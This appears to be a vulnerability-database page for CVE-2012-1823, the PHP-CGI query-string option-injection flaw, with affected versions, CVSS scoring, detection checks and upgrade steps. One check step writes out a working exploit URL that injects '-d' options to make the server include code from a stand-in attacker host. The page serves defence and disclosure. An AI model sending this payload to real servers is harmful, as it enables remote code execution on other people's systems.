Actively exploited in the wild. This CVE is on the CISA Known Exploited Vulnerabilities list — treat remediation as urgent. Federal remediation due by 15 Apr 2022.
PHPApplication

CVE-2012-1823

CRITICAL · 9.8 CVSS v3.1 Published 2012-05-11
Fix available
A fix is available. Upgrade to 5.3.12 / 5.4.2 or later.
See remediation →
100/100
Remediation priority · Urgent
In the wild High EPSS Public exploit Remotely reachable No privileges Zero-click Patch available

Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.

NVD · unedited
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.

Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.

dbcve analysis · high confidence

PHP php-cgi does not properly handle query strings lacking an '=' character, allowing attackers to inject command-line options (via -d flag) into the query string. This enables arbitrary code execution through malicious PHP configuration directives.

MitigationUpgrade PHP to 5.3.12+ or 5.4.2+ or use PHP-FPM/mod_php instead of CGI; alternatively, configure web server to block query strings starting with '-'

Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.

Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.

NVD · CPE data
PHPApplication
Affected:< 5.3.12>= 5.4.0, < 5.4.2
FedoraOperating system
Affected:= 39= 40
Debian LinuxOperating system
Affected:= 6.0
Application StackApplication
Affected:= 2.0
Gluster Storage Server For On PremiseApplication
Affected:= 2.0
StorageApplication
Affected:= 2.0
Storage For Public CloudApplication
Affected:= 2.0
Enterprise Linux DesktopOperating system
Affected:= 6.0

CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.

From the vector
Attack vector
Network
Complexity
Low
Privileges
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.

dbcve checks

Work through these to decide whether this CVE applies to you.

  1. Check installed PHP version
    Run `php -v` to retrieve the PHP version number. Compare it against the affected ranges: PHP < 5.3.12 or PHP >= 5.4.0 and < 5.4.2.
    Affected if The installed PHP version falls within either < 5.3.12 or >= 5.4.0 but < 5.4.2
  2. Locate php-cgi binary
    Run `which php-cgi` or `find /usr -name php-cgi 2>/dev/null` to find the php-cgi binary on the system.
    Affected if The php-cgi binary exists on the system and the PHP version is vulnerable
  3. Verify CGI is enabled in web server
    Check web server configuration files (Apache httpd.conf, Nginx config) for CGI script handling or CGI module loading. Look for directives like ScriptAlias, AddHandler cgi-script, or FastCGIWrapper.
    Affected if The web server is configured to handle PHP via CGI or FastCGI wrapper pointing to php-cgi
  4. Test for vulnerable query string behavior
    Send an HTTP request to a PHP CGI endpoint with a query string lacking an equals sign, for example: `http://target/index.php?-d+allow_url_include=1+-d+auto_prepend_file=http://attacker.com/malicious`
    Affected if The PHP CGI interprets options from the query string and executes or includes remote content, confirming the vulnerability

A system is affected if it runs a vulnerable PHP version (less than 5.3.12 or between 5.4.0 and 5.4.2) with the php-cgi binary exposed via web server CGI or FastCGI configuration.

Generated from the published advisory. Verify against your own configuration.

Check your environment

Paste your version and any relevant configuration and it will be compared against the affected criteria above. Do not include secrets or credentials.

AI-assisted, checked against the advisory. Informational, not a guarantee.

Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.

dbcve · scoped
Upgrade available Upgrade to 5.3.12 / 5.4.2 or later
Fixed in 5.3.125.4.2
Vendor patch www.php.net →
Interim mitigation

Upgrade PHP to 5.3.12+ or 5.4.2+ or use PHP-FPM/mod_php instead of CGI; alternatively, configure web server to block query strings starting with '-'

Recommended fix High confidence

PHP 5.3.12 or later (preferred: PHP 5.6.x LTS, 7.x, or 8.x stable releases)

  1. 1. Identify the currently installed PHP version by running 'php -v' or 'php-cgi -v'
  2. 2. If running PHP < 5.3.12 or PHP 5.4.x < 5.4.2, upgrade to a fixed release
  3. 3. For Debian 6.0 systems, apply security updates via 'apt-get update && apt-get upgrade php5' or migrate to a supported Debian release
  4. 4. For Fedora 39/40 systems, run 'dnf update php' to obtain patched packages
  5. 5. For HP-UX or other vendor systems, apply vendor-specific patches from h20000.www2.hp.com
  6. 6. After upgrading, verify the fix by testing that query strings without '=' no longer execute arbitrary commands
  7. 7. Restart any web servers (Apache, Nginx) running PHP-CGI: 'service apache2 restart' or 'service nginx restart'
  8. 8. Confirm the new PHP version is running: 'php -v'
Caveat Upgrading PHP may break legacy applications written for older PHP versions due to deprecated features; test thoroughly in staging before production deployment

Generated from the published advisory — verify against the referenced sources before acting.

Fix this in PHP Exploited in the wild — priority engagement
  • Consultation2.0 h
  • Implementation4.0 h
  • Testing2.0 h
  • Review / QA1.0 h
9.0 hours of engineering $1,600
Get it fixed fast

An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $2,560.

Scan for this in your stack

Free · runs locally
dbcve dependency scanner

Check whether your project pulls in CVE-2012-1823 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.

References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.

Primary sources

Practitioner notes

Contributed

Peer-ranked notes from engineers who’ve handled CVE-2012-1823 in production — separate from our analysis above.

No notes yet

Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.

What this is

A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.

What belongs here
  • Verified mitigations, workarounds, and config changes
  • Version or environment caveats, and links to real fixes
  • No weaponised exploit code, or anything meant to cause harm
  • No spam, self-promotion, credentials, or personal data